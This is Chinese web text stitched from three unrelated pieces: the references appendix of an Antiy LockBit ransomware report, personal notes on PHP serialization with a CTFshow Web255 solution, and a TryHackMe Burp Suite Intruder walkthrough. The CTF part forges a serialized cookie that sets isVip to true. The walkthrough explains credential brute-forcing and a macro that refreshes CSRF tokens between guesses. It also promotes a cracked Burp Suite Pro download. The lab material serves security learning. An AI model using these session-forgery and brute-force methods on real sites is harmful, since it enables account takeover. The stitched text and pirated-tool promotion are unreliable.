unattended.techinline.net 在线远程服务 附表三：安天发布有关LockBit勒索软件的历史报告 时间 活动 参考链接 2021年9月20日 安天周观察发布《安天智甲有效防护LockBit 2.0勒索软件》报告。 https://www.antiy.cn/observe_download/observe_296.pdf 2022年01月03日 安天发布《2021年流行勒索软件盘点》报告，梳理LockBit 2.0家族概况，展示了LockBit组织相关攻击活动。 https://www.antiy.cn/research/notice&report/research_report/20220103.html 2023年01月30日 安天发布《2022年流行勒索软件盘点》报告，再次梳理LockBit家族概况，展示了LockBit组织2022年期间的相关攻击活动 https://www.antiy.cn/research/notice&report/research_report/20230130.html 2023年11月17日 安天发布《LockBit勒索软件样本分析及针对定向勒索的防御思考》报告，即本报告的1.0版本。 https://www.antiy.cn/research/notice&report/research_report/LockBit.html 附录四：安天为助力主管机构、客户和公众应对勒索攻击所作的部分工作 安天一直致力于提升客户有效防护能力，并和客户共同提升对安全的理解和认知。 安天长期持续跟踪勒索攻击的演进变化，持续发布威胁研判报告，在2006年6月14日截获分析了国内最早的勒索软件redplus（Trojan.Win32.Pluder.a），之后又发布《揭开勒索软件的真面目》[8]（2015年）、《安天针对勒索蠕虫“魔窟”（WannaCry）的深度分析报告》[9]、《勒索软件Sodinokibi运营组织的关联分析》[10]和《关于美燃油管道商遭勒索攻击事件样本与跟进分析》[11]等重要报告，特别是在WannaCry（魔窟）勒索蠕虫大规模爆发事件前五个月，做出了勒索攻击将带动蠕虫回潮的预判[12]。在WannaCry勒索蠕虫的响应中，安天一方面快速跟进分析，同时为用户提供防护手册[13]和开机指南[14]并提供了免疫工具、专杀工具、内存密钥获取和恢复工具等。在“必加”(PETYA)伪装成勒索的毁瘫攻击中，也第一时间做出了其可能不是一起勒索攻击事件的准确判断。安天CERT持续跟踪各勒索软件家族和RaaS攻击组织，针对LockBit[15]、GandCrab[16]和Sodinokibi等流行勒索软件家族发布了样本分析报告及防护建议，特别是基于垂直响应平台推出了《从八个方面认识勒索攻击和危害》专题系列文章[17][18][19][20][21][22]，助力政企客户和公众了解勒索攻击，提升防范意识。2021年，为加强勒索软件攻击防范应对，在工业和信息化部网络安全管理局指导下，中国信通院联合安天等单位编制发布了《勒索病毒安全防护手册》[23]，手册对如何防范勒索攻击提出了详细的清单化的建议。 安天基于自主研发的AVL SDK反病毒引擎支撑自身产品和引擎生态合作伙伴的恶意代码检测能力，对包括勒索软件在内的各类恶意代码工具进行精准检测和清除。安天智甲终端防御系统、睿甲云防护系统基于安天执行体治理的基本理念，协助客户塑造可信安全主机环境。安天智甲端侧构建了由系统加固、主机防火墙（HIPS）、扫描过滤、执行管控、行为防护、重点数据保护的组合安全机制，针对勒索攻击构成多个防护层次，特别重点数据保护机制，基于对批量文件读写的拦截，在其他安全机制均被绕过失效的情况下，尝试实现行为拦截和止损。当然，我们从来不相信网络安全存在银弹。我们致力于我们的引擎和每个产品都能在其作战位置最大化发挥价值，接受实战对抗的检验。相关内容，可以参考《安天产品助力用户有效防护勒索攻击》[24]进行了解。 附表五：报告中涉及的病毒百科词条 病毒名 病毒百科链接 Trojan/Win32.LockBit[Ransom] https://virusview.net/malware/Trojan/Win32/LockBit/Ransom?source=CERT-BoeingReport RiskWare/Win32.AnyDesk https://virusview.net/malware/RiskWare/Win32/AnyDesk?source=CERT-BoeingReport HackTool/PowerShell.ADRecon https://virusview.net/malware/HackTool/PowerShell/ADRecon?source=CERT-BoeingReport HackTool/Win32.Mimikatz https://virusview.net/pro/Mimikatz?source=CERT-BoeingReport https://virusview.net/malware/HackTool/Win32/Mimikatz?source=CERT-BoeingReport RiskWare/Win32.PsExec[RiskTool] https://virusview.net/malware/RiskWare/Win32/PsExec/RiskTool?source=CERT-BoeingReport RiskWare/Win32.ProcDump https://virusview.net/malware/RiskWare/Win32/ProcDump?source=CERT-BoeingReport 参考链接 [1]Reuters.Boeing assessing Lockbit hacking gang threat of sensitive data leak [R/OL].(2023-10-28) https://www.reuters.com/business/aerospace-defense/boeing-assessing-lockbit-hacking-gang-threat-sensitive-data-leak-2023-10-27/ [2]安天.LockBit 勒索软件样本分析及针对定向勒索的防御思考 [R/OL].(2023-11-17) https://www.antiy.cn/research/notice&report/research_report/LockBit.html [3]CISA.#StopRansomware: LockBit 3.0 Ransomware Affiliates Exploit CVE 2023-4966 Citrix Bleed Vulnerability [R/OL].(2023-11-21) https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a [4]BI.ZONE.From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit [R/OL].(2023-05-13) https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319 [5]安天.苦象组织近期网络攻击活动及泄露武器分析 [R/OL].(2020-09-17) https://www.antiy.com/response/20200917.html [6]安天.2020年网络安全威胁回顾与展望 [R/OL].(2021-01-07) https://www.antiy.cn/research/notice&report/research_report/2020_AnnualReport.html [7]学者韦韬观点 [Z/OL].(2020/12/13) https://weibo.com/1891235985/JyfZUxrFX#comment [8]安天.揭开勒索软件的真面目[R/OL].(2015-08-03) https://www.antiy.com/response/ransomware.html [9]安天.安天针对勒索蠕虫“魔窟”（WannaCry）的深度分析报告[R/OL].(2017-05-13) https://www.antiy.com/response/wannacry.html [10]安天.勒索软件Sodinokibi运营组织的关联分析[R/OL].(2019-06-28) https://www.antiy.com/response/20190628.html [11]安天.关于美燃油管道商遭勒索攻击事件样本与跟进分析[R/OL].(2021-05-11) https://www.antiy.com/response/20210511.html [12]安天.2016年网络安全威胁的回顾与展望[R/OL].(2017-01-06) https://www.antiy.com/response/2016_Antiy_Annual_Security_Report.html [13]安天.安天应对勒索软件“WannaCry”防护手册[R/OL].(2017-05-13) https://www.antiy.com/response/Antiy_Wannacry_Protection_Manual/Antiy_Wannacry_Protection_Manual.html [14]安天.安天应对魔窟勒索软件“WannaCry”周一开机指南[R/OL].(2017-05-14) https://www.antiy.com/response/Antiy_Wannacry_Guide.html [15]安天.安天智甲有效防护LockBit2.0勒索软件[R/OL].(2021-09-20) https://www.antiy.cn/observe_download/observe_296.pdf [16]安天.GANDCRAB勒索软件着眼“达世币”，安天智甲有效防护[R/OL].(2018-02-28) https://www.antiy.com/response/20180228.html [17]安天.勒索攻击的四种分工角色[R/OL].(2021-11-23) https://mp.weixin.qq.com/s/oMneQmmYQF5B4nWVulJl1g [18]安天.勒索攻击的两种典型模式[R/OL].(2021-11-23) https://mp.weixin.qq.com/s/nrbVpjA2-jfTzjojbyFpJA [19]安天. “勒索攻击杀伤链”分析[R/OL].(2021-11-24) https://mp.weixin.qq.com/s/24bIz-e4_Ts-Th0ecCWfgQ [20]安天.勒索攻击的四种勒索类型与五种攻击特征[R/OL].(2021-11-25) https://mp.weixin.qq.com/s/RL4E9v4wvazgj2UNdbMypA [21]安天.十类典型勒索家族[R/OL].(2021-11-26) https://mp.weixin.qq.com/s/Jmz58xQBcytCIWx51yxBTQ [22]安天.勒索攻击发展趋势[R/OL].(2021-11-26) https://mp.weixin.qq.com/s/1wehEDr7dTo-wdJYzfoS-A [23]中国信通院.勒索病毒安全防护手册[R/OL].(2021-09) http://www.caict.ac.cn/kxyj/qwfb/ztbg/202109/P020210908503958931090.pdf [24]安天.安天产品助力用户有效防护勒索攻击[R/OL].(2021-11-01) https://mp.weixin.qq.com/s/nOfhqWiw6Xd7-mvMt2zfX

引进序列化 以下为个人笔记 认识各类型序列化后的样子 序列化（Serialization）是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对 象将其当前状态写入到临时或持久性存储区。以后，可以通过从存储区中读取或反序列化对象的状态， 重新创建该对象。 相关函数 serialize() 序列化 函数用于序列化对象或数组，并返回一个字符串。序列化对象后，可以很方便的将它传递给其他需要它 的地方，且其类型和结构不会改变。如果想要将已序列化的字符串变回 PHP 的值，可使用 unserialize() 演示代码： <?php> $str1="godyu521"; #定义字符串的序列化 $num=20240203; #定义数字的序列化 $test_bool=True;#定义布尔值的序列化 $str3=array("shenyu",1,"godyu"); #定义数组的序列化 $str2=serialize($str1); print serialize($num)."\n"; print serialize($test_bool)."\n"; echo $str2."\n"; echo serialize($str3)."\n"; class Godyu{ public $test="phpserialize"; #定义对象的序列化 public $test2="study"; function g(){ echo "godyu loves ctf"."\n"; echo $this->test2; } } $a=new Godyu(); print serialize($a)."\n"; print $a->g(); ?> 序列化只会序列化属性不会序列化方法 触发反序列化的一些魔术方法 特殊属性的反序列化 protected类似python中的封装 直接调用无法调用 但在另一个方法里可以调用 如果是私有成员会在前面加上对象的属名,如果是继承类的就需要加* GOdyu前后被空字符NULL包裹 ->空字符包裹前后的特殊属性 反序列化 反序列化其实就是把序列化之后的反回来给原来的 <?php $data = 's:8:"godyu521";'; // 将序列化字符串赋值给变量$data $result = unserialize($data); // 使用unserialize()函数解码序列化字符串 print($result)."\n"; ?> 漏不漏洞的先不提,先来两道CTFshow题 第一个算是没考序列化和反序列化 只是引入逻辑 Web254 那直接传get让他们等于 Web255 我们去复制ctfShowUser的属性 方法不用复制 方法不能被序列化 写一下cookie里需要传的参数 <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=True; } $user = new ctfShowUser(); $u=serialize($user); print $u."\n"; $u1=unserialize($u); print_r ($u1); ?> 写进cookie里 发送即可 最近有些懈怠了

前言 这章节主要是介绍burpsuite的,再次学习和巩固 Foreign friends please use Google Translate plugin to translate this article for better viewing 如果还没有2023年最新的burpsuite专业版建议下载我这个开盒即用的burpsuite 最新BurpSuite2023专业汉化版下载（无需任何配置） 2年前29106110 room：https://tryhackme.com/room/burpsuiteintruder Walkthrough 前面太过于基础,没做笔记,在这里我直接复制老外写的笔记直到Task 12 CSRF令牌篡改那里在详细介绍 注意：本文章内容已经与较新版本的Burp Suite不适配，请谨慎参考。且Task12之前的部分只有代理能看到图片 Intruder是Burp Suite的重要组成部分。但一般来说，除了只执行简单的递归请求之外，Intruder 还可以做得更加细化以执行更复杂的任务。房间链接是https://tryhackme.com/room/burpsuiteintruder 介绍 Burp Suite 的 Intruder 模块是一个功能强大的工具，可以进行自动化和可定制的攻击。它提供了修改请求的特定部分并使用输入数据的变化执行重复测试的能力。Intruder 对于模糊测试和暴力破解等任务特别有用，这些任务需要针对目标测试不同的值。 本节无需回答 什么是入侵者 Intruder 是 Burp Suite 的内置模糊测试工具，允许自动修改请求并通过输入值的变化进行重复测试。通过使用捕获的请求（通常来自代理模块），入侵者可以根据用户定义的配置发送多个带有稍微更改值的请求。它有多种用途，例如通过用单词列表中的值替换用户名和密码字段来暴力破解登录表单，或者使用单词列表执行模糊攻击来测试子目录、端点或虚拟主机。Intruder 的功能与Wfuzz或ffuf等命令行工具相当。 然而，需要注意的是，虽然 Intruder 可以与 Burp Community Edition 一起使用，但它是有速率限制的，与 Burp Professional 相比，其速度显着降低。这种限制通常导致安全从业者依赖其他工具进行模糊测试和暴力破解。尽管如此，Intruder 仍然是一个有价值的工具，值得学习如何有效地使用它。 Intruder 中有 4 个主要选项卡，即：位置、有效负载、资源池、设置。我们将在下面的部分中详细了解位置和有效负载。 职位 此选项卡允许我们选择攻击类型（我们将在以后的任务中介绍）并配置我们想要在请求模板中插入有效负载的位置。当使用 Burp Suite Intruder 执行攻击时，第一步是检查请求中我们想要插入有效负载的位置。这些位置告知入侵者我们的有效负载将被引入的位置 在界面的右侧，我们找到以下按钮：Add §、Clear §和Auto §： 该Add §按钮允许我们通过在请求编辑器中突出显示新位置然后单击该按钮来手动定义新位置。 该Clear §按钮会删除所有已定义的位置，从而提供一个空白画布，我们可以在其中定义自己的位置。 该Auto §按钮会根据请求自动尝试识别最有可能的位置。如果我们之前清除了默认位置并希望将其恢复，则此功能非常有用。 有效载荷 在这里，我们可以选择要插入到“位置”选项卡中定义的位置的值。我们有各种有效负载选项，例如从单词列表加载项目。这些有效负载插入模板的方式取决于在“位置”选项卡中选择的攻击类型。“有效负载”选项卡还使我们能够修改入侵者有关有效负载的行为，例如为每个有效负载定义预处理规则（例如，添加前缀或后缀、执行匹配和替换，或根据定义的正则表达式跳过有效负载）。 有效负载集：此部分允许我们选择要配置有效负载集的位置，并选择要使用的有效负载类型。 有效负载设置：此部分提供特定于当前有效负载集所选有效负载类型的选项。 有效负载处理：在本节中，我们可以定义在将其发送到目标之前应用于集合中的每个有效负载的规则。 有效负载编码：该部分允许我们自定义有效负载的编码选项。 狙击手 Sniper攻击类型是 Burp Suite Intruder 中默认且最常用的攻击类型。它对于单位置攻击特别有效，例如密码暴力破解或 API 端点模糊测试。在 Sniper 攻击中，我们提供一组有效负载，可以是单词列表或一系列数字，入侵者将每个有效负载插入到请求中的每个定义位置。入侵者狙击手发出的请求总数可以计算为requests = numberOfWords * numberOfPositions。 当我们想要执行单位置攻击测试并为每个位置使用不同的有效负载时，狙击手攻击类型非常有用。它可以对不同的有效负载变化进行精确的测试和分析。 攻城锤 Burp Suite Intruder 中的Battering ram攻击类型与 Sniper 的不同之处在于，它同时将相同的有效负载放置在每个位置，而不是依次将每个有效负载替换到每个位置。在攻城锤攻击中，相同的有效负载同时被扔到每个定义的位置，提供了一种类似暴力的测试方法。 当我们想要同时针对多个位置测试相同的有效负载而不需要顺序替换时，攻城锤攻击类型非常有用。 叉 Burp Suite Intruder 中的Pitchfork攻击类型类似于同时运行多个 Sniper 攻击。Sniper 使用一组有效负载同时测试所有位置，而 Pitchfork 每个位置使用一组有效负载（最多 20 个）并同时迭代所有位置。Pitchfork 从每个列表中取出第一项，并将其替换到请求中，每个位置一个。然后，它通过从每个列表中取出第二项并将其替换到模板中，对下一个请求重复此过程。Intruder 继续此迭代，直到一个或所有列表用完项目。值得注意的是，一旦其中一个列表完成，Intruder 就会停止测试。因此，在 Pitchfork 攻击中，有效负载集具有相同的长度是理想的。如果有效负载集的长度不同，入侵者只会发出请求，直到较短的列表耗尽，而较长列表中的剩余项目将不会被测试。 当进行凭证填充攻击或多个位置需要单独的有效负载集时，干草叉攻击类型特别有用。它允许同时测试具有不同有效负载的多个位置。 集束炸弹 Burp Suite Intruder 中的集束炸弹攻击类型允许我们选择多个有效负载集，每个位置一个（最多 20 个）。与同时测试所有有效载荷集的 Pitchfork 不同，集束炸弹单独迭代每个有效载荷集，确保测试每个可能的有效载荷组合。 集束炸弹攻击类型会迭代所提供的有效负载集的每个组合。它通过将每个有效负载集中的每个值替换到请求中的相应位置来测试每种可能性。 集束炸弹攻击在测试每种组合时会产生大量流量。集束炸弹攻击发出的请求数可以通过将每个有效负载集中的行数相乘来计算。使用这种攻击类型时一定要小心谨慎，尤其是在处理大型有效负载集时。此外，当使用 Burp Community 及其入侵者速率限制时，使用中等大小的有效负载集执行集束炸弹攻击可能需要更长的时间。 集群炸弹攻击类型对于用户名和密码之间的映射未知的凭证暴力破解场景特别有用。 攻击类型简介 只是作为一个简短的总结。 狙击手：狙击手攻击类型是默认且最常用的选项。它循环遍历有效负载，一次将一个有效负载插入到请求中定义的每个位置。狙击攻击以线性方式迭代所有有效负载，从而实现精确且集中的测试。 攻城锤：攻城锤攻击类型与狙击手不同，它同时发送所有有效负载，每个有效负载插入其各自的位置。当测试竞争条件或需要同时发送有效负载时，这种攻击类型非常有用。 Pitchfork：Pitchfork 攻击类型可以同时测试具有不同负载的多个位置。它允许测试人员定义多个有效负载集，每个有效负载集与请求中的特定位置相关联。当存在需要单独测试的不同参数时，干草叉攻击是有效的。 集束炸弹：集束炸弹攻击类型结合了狙击手和干草叉方法。它对每个位置执行类似狙击手的攻击，但同时测试每组的所有有效载荷。当多个位置具有不同的有效负载并且我们希望一起测试它们时，这种攻击类型非常有用。 实际例子 此示例显示如何执行基本的入侵者任务。它有助于逐步学习如何加载各种职位的工作清单。强烈建议对所有其余的实际示例进行动手练习。 实际挑战 它讲述了当您打开 IDOR 等支持票证时可能发生的漏洞类型。 Task 12 about website CSRF attack 每次的Cookie session和loginToken都会改变 我们可看下两图 使用过一次就会失效 我们如果对着失效的token和session去爆破 指定403 就算账号密码是正确的也爆破失败 因此我们定制一个宏操作 以便每次更新token和session爆破 也叫CSRF （跨站点请求伪造）令牌 为了更好的爆破 请看文字版tryhackme的演示 我这里发布了一个专门的视频以供大家在线观看 建议跳转到哔哩哔哩观看 【Tryhackme】burpsuite Intruder->CSRF Walkthrough_哔哩哔哩_bilibili